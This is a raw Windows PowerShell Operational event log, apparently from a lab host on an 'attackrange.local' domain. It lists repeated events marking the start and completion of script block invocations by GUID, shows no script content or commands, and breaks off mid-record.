09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031086
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031085
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031084
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031083
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031082
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031081
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031080
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031079
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031078
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031077
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031076
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031075
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031074
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031073
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031072
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031071
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031070
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031069
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031068
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031067
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031066
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031065
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031064
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031063
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031062
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031061
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031060
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031059
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031058
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031057
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031056
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031055
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031054
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031053
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031052
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031051
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031050
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031049
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031048
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031047
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031046
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031045
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031044
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031043
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031042
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031041
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031040
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031039
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031038
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031037
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031036
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031035
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031034
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
